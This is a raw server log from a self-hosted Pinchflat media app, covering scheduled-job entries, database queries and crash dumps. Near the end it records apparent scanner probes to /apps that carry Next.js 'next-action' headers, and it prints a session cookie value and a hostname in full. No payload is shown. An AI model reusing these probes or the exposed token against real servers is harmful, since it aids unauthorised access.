{"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:00.005 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:42:20.662 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:42:50.664 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:00.006 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:43:20.666 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:43:50.668 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:00.007 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:44:20.670 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:44:50.672 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:00.008 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:45:20.674 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:45:50.676 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:00.009 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:46:20.678 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:46:50.680 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:00.010 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:47:20.682 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:47:50.684 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:00.011 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:48:20.686 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:48:50.688 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:00.012 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:49:20.690 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:49:50.692 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:00.013 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:50:20.694 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:50:50.696 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:00.014 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:51:20.698 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:51:50.700 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:00.015 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:52:20.702 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:52:50.704 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:00.016 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:53:20.707 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:53:50.709 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:00.017 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:54:20.711 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:54:50.712 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:00.018 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:55:20.715 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:55:50.717 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:00.019 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:56:20.719 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:56:50.721 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:00.020 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:57:20.723 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:57:50.725 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:00.021 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:58:20.727 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:58:50.729 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:00.022 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:59:20.731 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:59:50.733 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:00.023 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:00:20.735 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:00:50.737 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:00.024 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:01:20.739 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:01:50.741 [info] {"source":"oban","duration":1366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:00.025 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:02:20.743 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:02:50.745 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:00.026 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:03:20.747 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:03:50.750 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:00.027 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:04:20.752 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:04:50.754 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:00.028 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:05:20.756 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:05:50.758 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:00.029 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:06:20.760 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:06:50.762 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:00.030 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:07:20.764 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:07:50.766 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:00.031 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:08:20.768 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:08:50.770 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:00.032 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:09:20.772 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:50.774 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:09:50.932 [info] GET / 06:09:50.932 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 06:09:50.933 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=303.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:50.934 [debug] QUERY OK source="media_profiles" db=0.2ms idle=304.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 06:09:50.934 [debug] QUERY OK source="sources" db=0.2ms idle=305.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 06:09:50.939 [debug] QUERY OK source="media_items" db=4.7ms idle=305.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:09:50.940 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=165.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:09:50.942 [debug] QUERY OK source="settings" db=0.3ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:50.942 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:50.944 [debug] QUERY OK source="settings" db=0.2ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:50.946 [debug] QUERY OK source="tasks" db=0.4ms idle=6.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 06:09:50.948 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 06:09:50.949 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:09:50.950 [debug] QUERY OK source="sources" db=0.3ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 06:09:50.961 [debug] QUERY OK source="media_items" db=5.5ms idle=11.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 06:09:50.963 [debug] QUERY OK source="media_items" db=1.3ms idle=14.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 06:09:50.964 [debug] QUERY OK source="sources" db=0.3ms idle=15.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 06:09:50.967 [info] Sent 200 in 35ms 06:09:51.472 [info] HEAD /apps 06:09:51.473 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=522.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:51.474 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=512.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:51.474 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:09:51.475 [error] #PID<0.248839.0> running PinchflatWeb.Endpoint (connection #PID<0.248837.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: HEAD /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.248837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48996}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.112.212", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.112.212" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.248839.0>, params: %{}, path_info: ["apps"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI"}, {"host", "pinchflat.guano.duckdns.org"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "35.76.112.212"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"}, {"x-real-ip", "35.76.112.212"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIB50MO2O93XjYgAJWNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.248837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48996}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.112.212", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.112.212" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.248837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48996}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYWlVsQVN4cUxMeW5lUkF5N2YzcTdKbTZR.8kCNXLSz6kLl8U5OdupGqiX5Px0P-Zyvq3m5UqxiEBI", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.112.212", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 06:09:51.648 [info] POST /apps 06:09:51.649 [debug] QUERY OK source="settings" db=0.3ms idle=685.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:51.649 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=685.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:09:51.649 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 06:09:51.650 [error] #PID<0.248840.0> running PinchflatWeb.Endpoint (connection #PID<0.248837.0>, stream id 3) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: POST /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.248837.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 48996}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", 